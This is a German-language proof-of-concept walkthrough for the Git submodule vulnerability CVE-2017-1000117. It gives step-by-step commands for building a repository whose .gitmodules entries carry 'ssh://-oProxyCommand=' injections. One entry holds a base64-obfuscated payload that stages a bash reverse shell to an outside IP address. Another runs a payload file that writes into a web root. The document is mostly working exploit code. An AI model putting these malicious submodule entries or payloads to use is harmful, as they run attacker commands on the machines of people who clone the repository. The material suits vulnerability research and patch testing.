
Angreifer können Opfer dazu verleiten, einen geschickt konstruierten „ssh://…“-Link aufzurufen – etwa bei der Ausführung von Programmen – und auf diese Weise die Ausführung von Befehlen erreichen. Der Link kann in der .gitmodules-Datei eines Git-Projekts platziert werden. Führt das Opfer anschließend bei einem Projekt git clone –recurse-submodules/git clone --recursive aus, wird dadurch ein Sicherheitsproblem ausgelöst.
Vorbereitung:
Eingabe in der Linux-Befehlszeile: printf 'a' >> /tmp/pwned.txt Es zeigt sich, dass im tmp-Verzeichnis die Datei pwned.txt erstellt wurde; ihr Inhalt ist a.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git // Es wurden die beiden Submodule-Unterverzeichnisse sub1 und name2 erstellt.)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
Es gibt zwei Möglichkeiten, die .gitmodules-Datei zu präparieren:
Erste Möglichkeit:
Öffnen Sie die .gitmodules-Datei und ändern Sie den Inhalt (nur der erste Eintrag muss geändert werden, da nur der Exploit im ersten Submodul ausgeführt wird. Zwei Einträge werden hier angelegt, weil es vorkommen kann, dass bei nur einem Eintrag nichts ausgeführt wird; die genaue Ursache wurde vorerst nicht weiter untersucht).
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(Siehe Datei .gitmodules.bak1) Die erste Methode benötigt keine Payload-Datei.
Zweite Möglichkeit: Öffnen Sie die .gitmodules-Datei und ändern Sie den Inhalt (nur der erste Eintrag muss geändert werden).
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(Siehe Datei .gitmodules)
Diese Methode erfordert eine Payload-Datei. Als Inhalt der Payload-Datei geben wir ein: printf 'sss' > /var/www/html/vul
Hinweis Für git clone muss eine der beiden folgenden Varianten verwendet werden:
git clone --recursive url
git clone --recurse-submodules url
Bei Verwendung von git clone wird das Projekt lediglich normal heruntergeladen, ohne dass zusätzliche Dateien erzeugt werden; die Bedingungen für das Auslösen der Schwachstelle sind daher recht streng.